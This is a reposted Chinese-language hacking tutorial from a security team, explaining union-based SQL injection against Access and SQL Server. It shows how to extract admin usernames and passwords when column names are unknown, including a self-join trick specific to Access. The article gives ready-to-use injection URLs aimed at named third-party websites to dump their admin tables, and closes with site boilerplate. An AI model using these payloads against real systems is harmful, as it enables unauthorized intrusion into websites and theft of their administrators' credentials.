直接擷取Access、SQL Server等資料庫資料

來源:互聯網
上載者:User
access|server|資料|資料庫
直接擷取access、SQL Server等資料庫資料
Author: Mix
PST,
Ph4nt0m Security Team
http://www.ph4nt0m.org


當使用SQL注入access的時候,經常會遇到密碼為中文、猜不到關鍵字段名這樣的問題。使用本技術就能夠很快速的解決這樣的問題。本技術最低要求有兩條:

1.使用access資料庫的系統存在SQL注入漏洞;mssql資料庫也支援這個技術
2.需要知道欲爆資料所在的表的表名以及這個表下的一個欄位名,一般都是id欄位

使用本技術顯而易見的優勢在於:

1.可以不需要'引號,過濾'引號對本技術沒有影響
2.可以快速的知道敏感性資料的內容,而不必像以往一樣慢慢的猜解,中文、特殊字元等等都通殺
3.在SQL Server屏蔽了錯誤資訊之後仍然可以快速得到敏感性資料內容
4.可以在不知道關鍵(欲知資料的)欄位名的情況下仍然能夠擷取到欲知資料

咋一看可能這個技術很難,其實很簡單。一共有兩個痛點,一般的第一個痛點在看到結果以後都很容易想到,但是第二個痛點卻的確有點點麻煩。

 首先看一個表格,是union的文法。這也是爆出資料的主要原理。如下圖所示:

 

 當我們使用SQL Inject技術插入union語句以後,只要兩個select查詢得到的列數相同,那麼整條SQL語句執行完成以後,得到的查詢結果就變成了union後面select得到的資料。所以就有可能將我們所需要的資料爆出來。來看一個簡單的例子:

http://www.chinakj.com/SoftView.asp?SoftID=3903%20union%20select%20username,password,1,1,1%20from%20admin

這是一個SQL Server的伺服器,關閉了錯誤資訊的回報,所以不能夠按照以往的方法直接得到敏感性資料。通過SQL Inject插入union語句以後,可以大膽的猜測到所執行的SQL語句變成了:

select * from Soft where SoftID=3903 union select username,password,1,1,1 from admin

那麼在正常情況下顯示Soft第1、2個欄位值得地方就會顯示admin的username和password欄位,後面的3個1也是同理替代了。按照這個特性,我們當然也可以直接得到Admin_UserInfo表裡面的username和password欄位。構造的語句如下所示:

''">http://www.chinakj.com/SoftView.asp?SoftID=3903%20union%20select%20username,password,1,1,1%20from%20Admin_UserInfo%20where%20username<>''

以上就是簡單的利用union來實現對敏感性資料的擷取,而不通過複雜的暴力拆解。為了實現在不知道欄位名同樣能夠得到其中的資料這個目的的時候,我們當然就應該想到使用*來代替欄位名。這樣只要*所代表的欄位再加上幾個1的數目和指令碼中的select查詢表中的欄位數目相同,那麼就同樣可以得到不知道欄位名的資料了。

 考慮到這樣一種情況,有這樣一條語句:select id,hit,softname,softURL from soft where id=10。其中能夠在網頁中正常顯示出來的欄位是softname和softURL,那麼我們在使用union的時候就應該調整*所在的位置,一般admin表中結構為id username password,那麼在注入上面這條假設的語句的時候就應該這樣構造SQL語句:select 1,* from admin。使*所代替的username和pssword欄位處於softname和softURL兩個欄位的位置上,這樣網頁才能夠將我們想要得username和password欄位乖乖的交出來。當然這裡只是最簡單的一個例子來說明,有很多時候一個表裡面可能有十幾個欄位,我遇到最長的是四十三個欄位。那麼指令碼中使用select *來做查詢的話,我們在構造union select就應該用1湊數到四十三個欄位。其中當然是會有一些欄位不被網頁顯示出來,這就需要考慮union select後面的*號所在的位置了。相信這個應該不用我多說了。

上面說的文法完全符合SQL Server。但是Access和SQL Server相比較,真的是小巫見大巫了。在SQL Server裡面,當我們使用select *,1,1,1 from admin語句查詢得到的記錄集合分別是:* 1 1 1。但是在access當中上面的這條語句查詢的結果是1 1 1 *,也就是說無論你將*號處於這群1中間的什麼位置上,*所代表的資料總是處於查詢結果的最後面。用一個複雜點的例子作說明:

http://www.hnp2p.com/mov/view.asp?id=1916%20union%20(select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16%20from%20admin)

這個網站使用的是access資料庫,可以看到能夠正常顯示出來的欄位是2、3、7、8、10、11,而後面的欄位卻不會顯示出來,去掉14,15,16換上*號,頁面同樣顯示出數字,也就是說admin中的欄位數是三個,肯定是id username password這種結構,但是除了id欄位其他的欄位都不能夠被猜測出名字。按照在上面SQL Server中所使用的方法移動*號的位置以求能夠將敏感性資料爆出來,在access中是不可行的。原因是access始終將*好所代替的欄位放在查詢資料集的最後面。Access查詢出來的結果永遠都是:1,2,3,4,5,6,7,8,9,10,11,12,13,*這個樣子。為了將*好所代替的欄位表示出來,我們必須將*所代替的欄位移動到其他位置上。先看結果:

http://www.hnp2p.com/mov/view.asp?id=1916%20union%20select%201,*%20from%20(((admin%20as%20a%20inner%20join%20admin%20as%20b%20on%20a.id=b.id)%20inner%20join%20admin%20as%20c%20on%20c.id=b.id)%20inner%20join%20admin%20as%20d%20on%20d.id=c.id)%20inner%20join%20admin%20as%20e%20on%20d.id=e.id

 通過這樣構造的語句的執行,最終查詢得到的資料形式是
1 2     3    4    5   6     7    8   9     10   11   12   13   14   15    16
1,a.id a.name a.pwd b.id b.name b.pwd c.id c.name c.pwd d.id d.name d.pwd e.id e.name e.pwd

其中第3和第7個欄位正好就是我們想要得username和password欄位的值。這裡我使用的是join文法,將兩個表串連(相加)起來從而構造得到這樣的一個滿足我們要求的查詢結果。

Join分為全部串連、左串連和右串連,具體區別可以去查看SQL文法。在這裡,access中我們不管選擇哪一種串連方式效果都等同於全部串連。看一個簡單的join文法

SELECT *
FROM (表1 INNER JOIN 表2 ON 表1.序號=表2.序號)
INNER JOIN 表3
ON 表1.序號=表3.序號

轉換為執行個體就是:

select 1,2,3,4,*
from ((admin as a inner join admin as b on a.id=b.id)
inner join admin as c on c.id=b.id)
inner join admin as d on d.id=c.id

按照這種格式就可以把上面的那個url真正執行的SQL語句解出來,無非就是不斷的使用join串連資料表admin,然後通過1來補齊前面的欄位數目。只要語句構建得當,那麼不知道欄位名的資料全部都能夠在頁面中顯示出來。這就是這個技術的痛點所在了。

好了,全部都介紹完了。如果想把這個技術寫成程式的話,也是很有可能的。只不過在語句結構構造的時候最好還是使用人腦吧~~~呵呵


聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.